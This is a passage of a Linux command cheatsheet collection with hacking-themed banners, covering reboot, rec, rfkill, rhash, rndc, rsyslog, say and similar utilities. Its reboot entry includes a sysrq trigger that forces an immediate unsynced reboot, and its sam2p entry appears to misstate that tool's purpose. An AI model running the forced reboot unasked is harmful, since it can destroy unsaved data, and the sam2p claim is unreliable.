Ctrl-y      Yank/Paste                  prev. killed text           at the cursor position
Alt-y       Yank/Paste                  prev. prev. killed text     at the cursor position

    History
Ctrl-p      Move in history             one line                    ⇧ before this line
Ctrl-n      Move in history             one line                    ⇩ after this line
Alt->       Move in history             all the lines               ⇩ to the line currently being entered
Ctrl-r      Incrementally search        the line history            ⇧ backwardly
Ctrl-s      Incrementally search        the line history            ⇩ forwardly
Ctrl-J      End an incremental search
Ctrl-G      Abort an incremental search and restore the original line
Alt-Ctrl-y  Yank/Paste                  arg. 1 of prev. cmnd        at the cursor position
Alt-.
Alt-_       Yank/Paste                  last arg of prev. cmnd      at the cursor position

    Undo
Ctrl-_
Ctrl-x
Ctrl-u      Undo the last editing command; you can undo all the way back to an empty line
Alt-r       Undo all changes made to this line
Ctrl-l      Clear the screen, reprinting the current line at the top
Ctrl-l      Clear the screen, reprinting the current line at the top

    Completion
TAB         Auto-complete a name
Alt-/       Auto-complete a name (without smart completion)
Alt-?       List the possible completions of the preceeding text
Alt-*       Insert all possible completions of the preceeding text

    Transpose
Ctrl-t      Transpose/drag              char. before the cursor     ↷ over the character at the cursor
Alt-t       Transpose/drag              word before the cursor      ↷ over the word at/after the cursor

#==============================##==============================#
# CMD READLINE					       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

150 - 🖥️reboot

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the reboot command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ██████╗ ███████╗██████╗  ██████╗  ██████╗ ████████╗
#  ██╔══██╗██╔════╝██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝
#  ██████╔╝█████╗  ██████╔╝██║   ██║██║   ██║   ██║   
#  ██╔══██╗██╔══╝  ██╔══██╗██║   ██║██║   ██║   ██║   
#  ██║  ██║███████╗██████╔╝╚██████╔╝╚██████╔╝   ██║   
#  ╚═╝  ╚═╝╚══════╝╚═════╝  ╚═════╝  ╚═════╝    ╚═╝

# reboot
# Reboot the system.

# Reboot immediately:
reboot

# Reboot immediately without gracefully shutdown:
reboot -f

# Reboot without reboot
echo 1 > /proc/sys/kernel/sysrq
echo b > /proc/sysrq-trigger
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

151 - 🖥️rec

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the rec command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ██████╗ ███████╗ ██████╗
#  ██╔══██╗██╔════╝██╔════╝
#  ██████╔╝█████╗  ██║     
#  ██╔══██╗██╔══╝  ██║     
#  ██║  ██║███████╗╚██████╗
#  ╚═╝  ╚═╝╚══════╝ ╚═════╝

rec -t wav - | ssh user@remotehost play -t wav - 
# Play local microphone on remote machine's speakers. Uses sox. Thx @lukeweston for idea.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

152 - 🖥️recursion

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the recursion command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ██████╗ ███████╗ ██████╗██╗   ██╗██████╗ ███████╗██╗ ██████╗ ███╗   ██╗
#  ██╔══██╗██╔════╝██╔════╝██║   ██║██╔══██╗██╔════╝██║██╔═══██╗████╗  ██║
#  ██████╔╝█████╗  ██║     ██║   ██║██████╔╝███████╗██║██║   ██║██╔██╗ ██║
#  ██╔══██╗██╔══╝  ██║     ██║   ██║██╔══██╗╚════██║██║██║   ██║██║╚██╗██║
#  ██║  ██║███████╗╚██████╗╚██████╔╝██║  ██║███████║██║╚██████╔╝██║ ╚████║
#  ╚═╝  ╚═╝╚══════╝ ╚═════╝ ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═╝ ╚═════╝ ╚═╝  ╚═══╝

# Recursion 
# Def: "...is a method where the solution to a problem depends on solutions to smaller instance of the same problem.." - wiki
# TL;DR: a function that calls itself inside its body. 

# Recursive programs - Pseduocode 
function factorial: 
input: integer n such that n >= 0
output: n * (n-1) * (n-2) * ... * 1 = n!

    1. if n is 0,   return 1 
    2. else,        return ( n * factorial(n-1) )
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

153 - 🖥️rfkill

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the rfkill command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ██████╗ ███████╗██╗  ██╗██╗██╗     ██╗     
#                ██╔══██╗██╔════╝██║ ██╔╝██║██║     ██║     
#                ██████╔╝█████╗  █████╔╝ ██║██║     ██║     
#                ██╔══██╗██╔══╝  ██╔═██╗ ██║██║     ██║     
#                ██║  ██║██║     ██║  ██╗██║███████╗███████╗
#                ╚═╝  ╚═╝╚═╝     ╚═╝  ╚═╝╚═╝╚══════╝╚══════╝
                                                           
                

rfkill: Drahlose Schnittstellen abfragen, ein- und ausschalten 
  
Mit rfkill schalten Sie drahtlose Schnittstellen wie Bluetooth und WLAN aber auch UMTS ein und aus. Damit senken Sie den Stromverbrauch, was besonders bei Notebooks wichtig ist. Und vermeiden zudem unnötige Sicherheitslücken.

Rfkill list zeigt den Zustand aller drahtlosen Schnittstellen des Linux-Rechners an. Und zwar aufgetrennt danach, ob die betreffende Schnittstelle soft blocked oder hard blocked ausgeschaltet ist (oder eingeschaltet ist).

Mit "soft blocked" ist das Abschalten per Kommandobefehl rfkill gemeint. Rfkill block 0 schaltet zum Beispiel das WLAN ab, wenn der WLAN-Adapter in rfkill list mit 0 gekennzeichnet ist. Rfkill unblock 0 schaltet das WLAN wieder ein. Auf dem Screenshot oben demonstrieren wir das Ein- und Auschalten der WLAN- und Bluetooth-Apdater. 
"Hard blocked" dagegen meint das Abschalten über den am Notebook angebrachten physischen WLAN-Schalter. "Hard blocked" übertrumpft immer "soft blocked". 

#==============================##==============================#
# CMD RFKILL						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

154 - 🖥️rhash

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the rhash command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ██████╗ ██╗  ██╗ █████╗ ███████╗██╗  ██╗
#  ██╔══██╗██║  ██║██╔══██╗██╔════╝██║  ██║
#  ██████╔╝███████║███████║███████╗███████║
#  ██╔══██╗██╔══██║██╔══██║╚════██║██╔══██║
#  ██║  ██║██║  ██║██║  ██║███████║██║  ██║
#  ╚═╝  ╚═╝╚═╝  ╚═╝╚═╝  ╚═╝╚══════╝╚═╝  ╚═╝

# utility for computing hash sums https://sf.net/p/rhash/

# compute sha256 for a file and store checksum in a file:
rhash --sha256 file.txt > file.sha256

# verify the file(s):
rhash -c file.sha256

# Generate a SHA256 hash file for all files in a directory tree:
rhash -r --sha256 directory/ > directory.sha256

# Verify all .sha256 files in a directory tree:
rhash -cr --crc-accept=sha256 directory/
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

155 - 🖥️ri

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the ri command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ██████╗ ██╗
#  ██╔══██╗██║
#  ██████╔╝██║
#  ██╔══██╗██║
#  ██║  ██║██║
#  ╚═╝  ╚═╝╚═╝

# ri displays information about Ruby classes, modules, and methods

# show help for the File class
ri File

# show help for the File class on the stdout stream
# do not start a pager for it
ri --no-pager File

# show help for the File.directory? method
ri File.directory?

# start an interactive Ruby documentation repl
ri -i

# Generate the missing ri docs for all your installed gems
gem rdoc --all --ri --no-rdoc
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

156 - 🖥️rip

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the rip command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ██████╗ ██╗██████╗ 
#  ██╔══██╗██║██╔══██╗
#  ██████╔╝██║██████╔╝
#  ██╔══██╗██║██╔═══╝ 
#  ██║  ██║██║██║     
#  ╚═╝  ╚═╝╚═╝╚═╝

# regex into pattern

# convert stream in JSON
ls | rip '(.*)\.(.*)' '{"name": "$1", "ext": "$2"}'
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

157 - 🖥️rndc

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the rndc command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ██████╗ ███╗   ██╗██████╗  ██████╗
#                ██╔══██╗████╗  ██║██╔══██╗██╔════╝
#                ██████╔╝██╔██╗ ██║██║  ██║██║     
#                ██╔══██╗██║╚██╗██║██║  ██║██║     
#                ██║  ██║██║ ╚████║██████╔╝╚██████╗
#                ╚═╝  ╚═╝╚═╝  ╚═══╝╚═════╝  ╚═════╝
                                                  
                                                 

sed -i 's/20[0-1][0-9]\{7\}/'`date +%Y%m%d%I`'/g' *.db
# Update zone file Serial numbers -> Will edit *.db files in the same directory with todays date. Useful for doing a mass update to domains on a nameserver, adding spf records, etc. Looks for a string starting with 200 or 201 followed by 7 numbers, and replaces with todays date. This won't overwrite Ip's but i would still do some double checking after running this. Make sure your server's date is correct, otherwise insert your own serial number.

rndc reload
# should usually follow this command.

rndc flush
# Empty Bind9 cache
# Occasionally, to force zone updating, cache flush is necessary. Use this command is better than restart the Bind9 process.

rndc reload linux.lxu.io

#==============================##==============================#
# CMD RNDC						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

158 - 🖥️rs

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the rs command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ██████╗ ███████╗
#  ██╔══██╗██╔════╝
#  ██████╔╝███████╗
#  ██╔══██╗╚════██║
#  ██║  ██║███████║
#  ╚═╝  ╚═╝╚══════╝

# reshape data: number of rows and columns
jot 36 | rs 4 9

# 0 is a dummy value for either the row or column count
# (4 columns)
jot 36 | rs 0 4

# transpose output
jot 36 | rs -t 0 4
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

159 - 🖥️rss2email

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the rss2email command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ██████╗ ███████╗███████╗██████╗ ███████╗███╗   ███╗ █████╗ ██╗██╗     
#                ██╔══██╗██╔════╝██╔════╝╚════██╗██╔════╝████╗ ████║██╔══██╗██║██║     
#                ██████╔╝███████╗███████╗ █████╔╝█████╗  ██╔████╔██║███████║██║██║     
#                ██╔══██╗╚════██║╚════██║██╔═══╝ ██╔══╝  ██║╚██╔╝██║██╔══██║██║██║     
#                ██║  ██║███████║███████║███████╗███████╗██║ ╚═╝ ██║██║  ██║██║███████╗
#                ╚═╝  ╚═╝╚══════╝╚══════╝╚══════╝╚══════╝╚═╝     ╚═╝╚═╝  ╚═╝╚═╝╚══════╝
                                                                                      
                

'rss2email -- converts rss feeds and emails them to your inbox'

# List all feeds 
r2e list

# Convert RSS entries to email
r2e run

# Add a new feed
r2e add <feed address>

# Add a new feed with new email address
r2e add <feed address> [newemail address]

# Delete a feed 
r2e delete <# of feed in list/>

# Help
r2e -h

#==============================##==============================#
# CMD RSS2EMAIL						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

160 - 🖥️rsyslog

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the rsyslog command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ██████╗ ███████╗██╗   ██╗███████╗██╗      ██████╗  ██████╗ 
#  ██╔══██╗██╔════╝╚██╗ ██╔╝██╔════╝██║     ██╔═══██╗██╔════╝ 
#  ██████╔╝███████╗ ╚████╔╝ ███████╗██║     ██║   ██║██║  ███╗
#  ██╔══██╗╚════██║  ╚██╔╝  ╚════██║██║     ██║   ██║██║   ██║
#  ██║  ██║███████║   ██║   ███████║███████╗╚██████╔╝╚██████╔╝
#  ╚═╝  ╚═╝╚══════╝   ╚═╝   ╚══════╝╚══════╝ ╚═════╝  ╚═════╝ 

## /etc/rsyslog.conf ##

# Mailserver Logs
if ( $fromhost-ip == '10.254.253.154' ) then -/opt/remotelogs/mx/mailgateway.log
& stop
if ( $fromhost-ip == '10.254.253.104' ) then -/opt/remotelogs/mx/mailgateway.log
& stop
if ( $fromhost-ip == '10.254.253.101' ) then -/opt/remotelogs/mx/mailgateway.log
& stop
if ( $fromhost-ip == '10.254.253.103' ) then -/opt/remotelogs/mx/mailgateway.log
& stop
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

161 - 🖥️sam2p

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the sam2p command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#      ███████╗ █████╗ ███╗   ███╗██████╗ ██████╗ 
#      ██╔════╝██╔══██╗████╗ ████║╚════██╗██╔══██╗
#      ███████╗███████║██╔████╔██║ █████╔╝██████╔╝
#      ╚════██║██╔══██║██║╚██╔╝██║██╔═══╝ ██╔═══╝ 
#      ███████║██║  ██║██║ ╚═╝ ██║███████╗██║     
#      ╚══════╝╚═╝  ╚═╝╚═╝     ╚═╝╚══════╝╚═╝     

                                                        
# Concatenate all pdf files into one:
sam2p *.pdf out.pdf

#==============================##==============================#
# CMD SAM2P						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

162 - 🖥️say

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the say command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ███████╗ █████╗ ██╗   ██╗
#  ██╔════╝██╔══██╗╚██╗ ██╔╝
#  ███████╗███████║ ╚████╔╝ 
#  ╚════██║██╔══██║  ╚██╔╝  
#  ███████║██║  ██║   ██║   
#  ╚══════╝╚═╝  ╚═╝   ╚═╝

# say
# Converts text to speech.

# Say a phrase aloud:
say "I like to ride my bike."

# Read a file aloud:
say -f filename.txt

# Say a phrase with a custom voice and speech rate:
say -v voice -r words_per_minute "I'm sorry Dave, I can't let you do that."

# List the available voices:
say -v ?

# Hear the available voices
say -v ? | awk '{ print $1 }' | while read v; do echo "$v is speaking..."; say -v $v "Hi, my name is $v"; done

# Create an audio file of the spoken text:
say -o filename.aiff "Here's to the Crazy Ones."
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
